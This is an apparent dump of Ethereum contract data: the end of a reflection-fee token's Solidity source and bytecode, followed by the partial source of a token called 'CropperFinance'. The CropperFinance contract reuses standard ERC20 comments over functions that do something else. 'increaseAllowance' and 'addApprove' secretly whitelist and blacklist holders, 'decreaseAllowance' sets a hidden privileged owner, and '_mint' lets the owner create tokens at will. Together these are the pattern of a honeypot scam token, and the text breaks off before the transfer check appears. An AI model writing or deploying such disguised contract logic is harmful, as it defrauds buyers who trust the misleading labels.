tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102ca578063b515566a146102ea578063c3c8cd801461030a578063c9567bf91461031f578063dd62ed3e1461033457600080fd5b806370a082311461023d578063715018a61461025d5780638da5cb5b1461027257806395d89b411461029a57600080fd5b8063273123b7116100d1578063273123b7146101ca578063313ce567146101ec5780635932ead1146102085780636fc3eaec1461022857600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a115b1bdb88151a1c9d5cdd60aa1b60208201525b60405161014b9190611788565b60405180910390f35b34801561016057600080fd5b5061017461016f366004611628565b61037a565b604051901515815260200161014b565b34801561019057600080fd5b50683635c9adc5dea000005b60405190815260200161014b565b3480156101b657600080fd5b506101746101c53660046115e7565b610391565b3480156101d657600080fd5b506101ea6101e5366004611574565b6103fa565b005b3480156101f857600080fd5b506040516009815260200161014b565b34801561021457600080fd5b506101ea610223366004611720565b61044e565b34801561023457600080fd5b506101ea610496565b34801561024957600080fd5b5061019c610258366004611574565b6104c3565b34801561026957600080fd5b506101ea6104e5565b34801561027e57600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102a657600080fd5b50604080518082019091526007815266115512149554d560ca1b602082015261013e565b3480156102d657600080fd5b506101746102e5366004611628565b610559565b3480156102f657600080fd5b506101ea610305366004611654565b610566565b34801561031657600080fd5b506101ea6105fc565b34801561032b57600080fd5b506101ea610632565b34801561034057600080fd5b5061019c61034f3660046115ae565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103873384846109f6565b5060015b92915050565b600061039e848484610b1a565b6103f084336103eb85604051806060016040528060288152602001611974602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e7c565b6109f6565b5060019392505050565b6000546001600160a01b0316331461042d5760405162461bcd60e51b8152600401610424906117dd565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104785760405162461bcd60e51b8152600401610424906117dd565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b657600080fd5b476104c081610eb6565b50565b6001600160a01b03811660009081526002602052604081205461038b90610ef0565b6000546001600160a01b0316331461050f5760405162461bcd60e51b8152600401610424906117dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610387338484610b1a565b6000546001600160a01b031633146105905760405162461bcd60e51b8152600401610424906117dd565b60005b81518110156105f8576001600660008484815181106105b4576105b4611924565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f0816118f3565b915050610593565b5050565b600c546001600160a01b0316336001600160a01b03161461061c57600080fd5b6000610627306104c3565b90506104c081610f74565b6000546001600160a01b0316331461065c5760405162461bcd60e51b8152600401610424906117dd565b600f54600160a01b900460ff16156106b65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610424565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f33082683635c9adc5dea000006109f6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072c57600080fd5b505afa158015610740573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107649190611591565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e49190611591565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082c57600080fd5b505af1158015610840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190611591565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610894816104c3565b6000806108a96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610945919061175a565b5050600f80546802b5e3af16b188000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f8919061173d565b6001600160a01b038316610a585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610424565b6001600160a01b038216610ab95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610424565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610424565b6001600160a01b038216610be05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610424565b60008111610c425760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610424565b6000600a55600c600b55610c5e6000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610c8d57506000546001600160a01b03838116911614155b15610e6c576001600160a01b03831660009081526006602052604090205460ff16158015610cd457506001600160a01b03821660009081526006602052604090205460ff16155b610cdd57600080fd5b600f546001600160a01b038481169116148015610d085750600e546001600160a01b03838116911614155b8015610d2d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d425750600f54600160b81b900460ff165b15610d9f57601054811115610d5657600080fd5b6001600160a01b0382166000908152600760205260409020544211610d7a57600080fd5b610d8542601e611883565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dca5750600e546001600160a01b03848116911614155b8015610def57506001600160a01b03831660009081526005602052604090205460ff16155b15610dff576000600a55600c600b555b6000610e0a306104c3565b600f54909150600160a81b900460ff16158015610e355750600f546001600160a01b03858116911614155b8015610e4a5750600f54600160b01b900460ff165b15610e6a57610e5881610f74565b478015610e6857610e6847610eb6565b505b505b610e778383836110fd565b505050565b60008184841115610ea05760405162461bcd60e51b81526004016104249190611788565b506000610ead84866118dc565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6000600854821115610f575760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610424565b6000610f61611108565b9050610f6d838261112b565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fbc57610fbc611924565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101057600080fd5b505afa158015611024573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110489190611591565b8160018151811061105b5761105b611924565b6001600160a01b039283166020918202929092010152600e5461108191309116846109f6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ba908590600090869030904290600401611812565b600060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e7783838361116d565b6000806000611115611264565b9092509050611124828261112b565b9250505090565b6000610f6d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a6565b60008060008060008061117f876112d4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b19087611331565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e09086611373565b6001600160a01b038916600090815260026020526040902055611202816113d2565b61120c848361141c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125191815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea00000611280828261112b565b82101561129d57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836112c75760405162461bcd60e51b81526004016104249190611788565b506000610ead848661189b565b60008060008060008060008060006112f18a600a54600b54611440565b9250925092506000611301611108565b905060008060006113148e878787611495565b919e509c509a509598509396509194505050505091939550919395565b6000610f6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7c565b6000806113808385611883565b905083811015610f6d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610424565b60006113dc611108565b905060006113ea83836114e5565b306000908152600260205260409020549091506114079082611373565b30600090815260026020526040902055505050565b6008546114299083611331565b6008556009546114399082611373565b6009555050565b600080808061145a606461145489896114e5565b9061112b565b9050600061146d60646114548a896114e5565b905060006114858261147f8b86611331565b90611331565b9992985090965090945050505050565b60008080806114a488866114e5565b905060006114b288876114e5565b905060006114c088886114e5565b905060006114d28261147f8686611331565b939b939a50919850919650505050505050565b6000826114f45750600061038b565b600061150083856118bd565b90508261150d858361189b565b14610f6d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610424565b803561156f81611950565b919050565b60006020828403121561158657600080fd5b8135610f6d81611950565b6000602082840312156115a357600080fd5b8151610f6d81611950565b600080604083850312156115c157600080fd5b82356115cc81611950565b915060208301356115dc81611950565b809150509250929050565b6000806000606084860312156115fc57600080fd5b833561160781611950565b9250602084013561161781611950565b929592945050506040919091013590565b6000806040838503121561163b57600080fd5b823561164681611950565b946020939093013593505050565b6000602080838503121561166757600080fd5b823567ffffffffffffffff8082111561167f57600080fd5b818501915085601f83011261169357600080fd5b8135818111156116a5576116a561193a565b8060051b604051601f19603f830116810181811085821117156116ca576116ca61193a565b604052828152858101935084860182860187018a10156116e957600080fd5b600095505b83861015611713576116ff81611564565b8552600195909501949386019386016116ee565b5098975050505050505050565b60006020828403121561173257600080fd5b8135610f6d81611965565b60006020828403121561174f57600080fd5b8151610f6d81611965565b60008060006060848603121561176f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117b557858101830151858201604001528201611799565b818111156117c7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118625784516001600160a01b03168352938301939183019160010161183d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118965761189661190e565b500190565b6000826118b857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118d7576118d761190e565b500290565b6000828210156118ee576118ee61190e565b500390565b60006000198214156119075761190761190e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c057600080fd5b80151581146104c057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028c11d51f8ab71b9e5ba30f1a32b8df4a139b1fd10ac4d8274fbdca34e2b4daf64736f6c63430008070033
[ 13, 5 ]
0xf246122b1e742b9aa599a100a6c032d1a25ea624
pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract CropperFinance is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit 